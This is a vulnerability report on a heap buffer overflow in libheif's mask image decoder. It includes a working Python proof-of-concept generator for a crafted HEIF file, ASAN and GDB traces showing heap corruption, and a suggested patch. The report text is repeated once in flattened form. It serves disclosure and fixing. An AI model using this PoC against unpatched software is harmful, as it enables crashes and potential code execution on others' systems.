Summary
A heap buffer overflow exists in MaskImageCodec::decode_mask_image() in
libheif/image-items/mask_image.cc, line 117. When decoding a HEIF file
containing a mask image (mski), the function copies the full iloc extent
data into a pixel buffer using memcpy(dst, data.data(), data.size()).
The copy length data.size() is determined by the iloc extent in the file
(attacker-controlled), while the destination buffer is sized based on the
declared image dimensions. No upper-bound check exists on the data length,
so a crafted file with an oversized iloc extent overflows the heap buffer.
- Tested version: v1.21.2 (commit
284b8358, 2026-03-01)
- Also confirmed on: current
master branch as of 2026-03-03
- Vulnerability type: CWE-122 Heap-based Buffer Overflow
- Impact: Denial of service (crash); potential code execution via heap corruption
Vulnerable Code
File: libheif/image-items/mask_image.cc, function MaskImageCodec::decode_mask_image()
// Line 100 — lower-bound check only (no upper bound):
if (data.size() < width * height) {
return {heif_error_Invalid_input, ...};
}
// Lines 106-112 — allocate pixel buffer based on image dimensions:
img->add_plane(heif_channel_Y, width, height, ...);
// Lines 114-117 — copy using data.size(), not width*height:
size_t stride;
uint8_t* dst = img->get_plane(heif_channel_Y, &stride);
if (((uint32_t)stride) == width) {
memcpy(dst, data.data(), data.size()); // <-- overflow
}
The data vector is populated from the file's iloc extent. Its size is entirely
determined by the extent_length field in the iloc box, which the attacker controls.
Trigger Conditions
- The HEIF file contains an item of type
mski (mask image).
- The
mskC property has bits_per_pixel = 8.
- The
ispe property declares a width that is even and >= 64 (so that stride == width,
entering the vulnerable single-memcpy branch).
- The iloc extent length for the mask item is larger than the pixel buffer allocation.
No non-default security limits need to be changed. No external codec plugins are required.
Proof of Concept
gen_poc.py — Generates the crafted HEIF file
#!/usr/bin/env python3
import struct, sys
def box(tag, payload):
return struct.pack(">I", 8 + len(payload)) + tag + payload
def fullbox(tag, ver, flags, payload):
return box(tag, struct.pack(">I", (ver << 24) | (flags & 0xFFFFFF)) + payload)
WIDTH, HEIGHT, ILOC_LEN = 64, 1, 6000
pixel_data = b"\x80" * (WIDTH * HEIGHT) + b"\x41" * (ILOC_LEN - WIDTH * HEIGHT)
ftyp = box(b"ftyp", b"mif1" + struct.pack(">I", 0) + b"mif1")
hdlr = fullbox(b"hdlr", 0, 0, struct.pack(">I", 0) + b"pict" + b"\x00" * 12 + b"\x00")
pitm = fullbox(b"pitm", 0, 0, struct.pack(">H", 1))
iloc = fullbox(b"iloc", 1, 0,
struct.pack(">BB", 0x44, 0x00) +
struct.pack(">HHHHHII", 1, 1, 0, 0, 1, 0xDEADBEEF, ILOC_LEN))
infe = fullbox(b"infe", 2, 0, struct.pack(">HH", 1, 0) + b"mski\x00")
iinf = fullbox(b"iinf", 0, 0, struct.pack(">H", 1) + infe)
ispe = fullbox(b"ispe", 0, 0, struct.pack(">II", WIDTH, HEIGHT))
mskC = fullbox(b"mskC", 0, 0, struct.pack(">B", 8))
ipco = box(b"ipco", ispe + mskC)
ipma = fullbox(b"ipma", 0, 0,
struct.pack(">I", 1) + struct.pack(">HB", 1, 2) + bytes([0x81, 0x82]))
iprp = box(b"iprp", ipco + ipma)
meta = fullbox(b"meta", 0, 0, hdlr + pitm + iloc + iinf + iprp)
mdat = box(b"mdat", pixel_data)
raw = ftyp + meta + mdat
mdat_off = len(ftyp) + len(meta) + 8
pos = raw.find(struct.pack(">I", 0xDEADBEEF))
raw = raw[:pos] + struct.pack(">I", mdat_off) + raw[pos + 4:]
out = sys.argv[1] if len(sys.argv) > 1 else "poc.heif"
with open(out, "wb") as f:
f.write(raw)
print(f"Written {len(raw)} bytes to {out}")
ASAN Output
==12704==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7dfd9ede390f
WRITE of size 6000 at 0x7dfd9ede390f thread T0
#0 memcpy
#1 MaskImageCodec::decode_mask_image(...)
libheif/image-items/mask_image.cc:117
#2 ImageItem_mask::decode_compressed_image(...)
libheif/image-items/mask_image.cc:148
#3 ImageItem::decode_image(...)
libheif/image-items/image_item.cc:731
#4 HeifContext::decode_image(...)
libheif/context.cc:1339
#5 heif_decode_image
libheif/api/libheif/heif_decoding.cc:239
#6 main poc.c:59
0x7dfd9ede390f is located 0 bytes after 4111-byte region
[0x7dfd9ede2900,0x7dfd9ede390f)
allocated by thread T0 here:
#0 operator new[](unsigned long, std::nothrow_t const&)
#1 HeifPixelImage::ImageComponent::alloc(...)
libheif/pixelimage.cc:577
SUMMARY: AddressSanitizer: heap-buffer-overflow
libheif/image-items/mask_image.cc:117
in MaskImageCodec::decode_mask_image(...)
ASAN confirms: a 6,000-byte write into a 4,111-byte heap buffer,
starting exactly at the end of the allocation (0 bytes after the region).
Without ASAN
free(): invalid next size (normal)
Aborted
The overflow corrupts adjacent heap chunk metadata, causing glibc's
free() to detect invalid state and abort.
GDB Analysis
Running the PoC under GDB (with ASLR disabled via setarch -R) confirms the overflow in real time.
Breakpoint in decode_mask_image() — GDB confirms the function receives 6,000 bytes of iloc data:
Breakpoint 1, MaskImageCodec::decode_mask_image(
context=0x55555556c9f0, ID=1,
img=std::shared_ptr<HeifPixelImage> (empty),
data=std::vector of length 6000, capacity 6000)
at mask_image.cc:65
The overflowing memcpy — when execution reaches line 117:
dst (rdi) = 0x5555555722f0 — pixel buffer
src (rsi) = 0x5555555709a0 — iloc extent data
size (rdx) = 6000 bytes — data.size()
Destination chunk header (16 bytes before dst) shows the actual allocation size:
0x5555555722e0: 0x0000000000000000 0x0000000000001021
^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^
prev_size size = 0x1020 (4128 bytes)
usable = 4112 bytes
The buffer holds 4,112 usable bytes, but memcpy writes 6,000 bytes — overflow of 1,888 bytes.
Heap state BEFORE the overflow — valid chunk metadata after the pixel buffer:
0x555555573300: 0x0000000000000000 0x0000000000018d01
0x555555573310: 0x0000000000000000 0x0000000000000000
0x555555573320: 0x0000000000000000 0x0000000000000000
0x18d01 is a valid chunk size field (the top-of-heap wilderness chunk).
Heap state AFTER the overflow — same memory is destroyed by our 0x41 fill pattern:
0x555555573300: 0x4141414141414141 0x4141414141414141
0x555555573310: 0x4141414141414141 0x4141414141414141
0x555555573320: 0x4141414141414141 0x4141414141414141
The adjacent chunk's prev_size and size fields are overwritten. The heap is corrupt.
The crash — glibc detects the corrupted metadata and aborts:
free(): invalid next size (normal)
Program received signal SIGABRT, Aborted.
Call stack at the time of the overflow:
#0 __memcpy_avx_unaligned_erms()
#1 MaskImageCodec::decode_mask_image() mask_image.cc:117
#2 ImageItem_mask::decode_compressed_image() mask_image.cc:148
#3 ImageItem::decode_image() image_item.cc:731
#4 HeifContext::decode_image() context.cc:1339
#5 heif_decode_image() heif_decoding.cc:239
#6 main() poc.c:59
Suggested Fix
Use the intended pixel count as the copy length instead of the
attacker-controlled data size:
--- a/libheif/image-items/mask_image.cc
+++ b/libheif/image-items/mask_image.cc
@@ -114,7 +114,7 @@
size_t stride;
uint8_t* dst = img->get_plane(heif_channel_Y, &stride);
if (((uint32_t)stride) == width) {
- memcpy(dst, data.data(), data.size());
+ memcpy(dst, data.data(), static_cast<size_t>(width) * height);
}
The existing check at line 100 guarantees data.size() >= width * height,
so this is safe. It limits the copy to exactly the number of pixels the
image declares, regardless of how large the iloc extent is.
Summary
A heap buffer overflow exists in
MaskImageCodec::decode_mask_image()inlibheif/image-items/mask_image.cc, line 117. When decoding a HEIF filecontaining a mask image (
mski), the function copies the full iloc extentdata into a pixel buffer using
memcpy(dst, data.data(), data.size()).The copy length
data.size()is determined by the iloc extent in the file(attacker-controlled), while the destination buffer is sized based on the
declared image dimensions. No upper-bound check exists on the data length,
so a crafted file with an oversized iloc extent overflows the heap buffer.
284b8358, 2026-03-01)masterbranch as of 2026-03-03Vulnerable Code
File:
libheif/image-items/mask_image.cc, functionMaskImageCodec::decode_mask_image()The
datavector is populated from the file's iloc extent. Its size is entirelydetermined by the
extent_lengthfield in the iloc box, which the attacker controls.Trigger Conditions
mski(mask image).mskCproperty hasbits_per_pixel = 8.ispeproperty declares a width that is even and >= 64 (so that stride == width,entering the vulnerable single-memcpy branch).
No non-default security limits need to be changed. No external codec plugins are required.
Proof of Concept
gen_poc.py — Generates the crafted HEIF file
ASAN Output
ASAN confirms: a 6,000-byte write into a 4,111-byte heap buffer,
starting exactly at the end of the allocation (0 bytes after the region).
Without ASAN
The overflow corrupts adjacent heap chunk metadata, causing glibc's
free()to detect invalid state and abort.GDB Analysis
Running the PoC under GDB (with ASLR disabled via
setarch -R) confirms the overflow in real time.Breakpoint in
decode_mask_image()— GDB confirms the function receives 6,000 bytes of iloc data:The overflowing
memcpy— when execution reaches line 117:Destination chunk header (16 bytes before
dst) shows the actual allocation size:The buffer holds 4,112 usable bytes, but
memcpywrites 6,000 bytes — overflow of 1,888 bytes.Heap state BEFORE the overflow — valid chunk metadata after the pixel buffer:
0x18d01is a valid chunk size field (the top-of-heap wilderness chunk).Heap state AFTER the overflow — same memory is destroyed by our
0x41fill pattern:The adjacent chunk's
prev_sizeandsizefields are overwritten. The heap is corrupt.The crash — glibc detects the corrupted metadata and aborts:
Call stack at the time of the overflow:
Suggested Fix
Use the intended pixel count as the copy length instead of the
attacker-controlled data size:
The existing check at line 100 guarantees
data.size() >= width * height,so this is safe. It limits the copy to exactly the number of pixels the
image declares, regardless of how large the iloc extent is.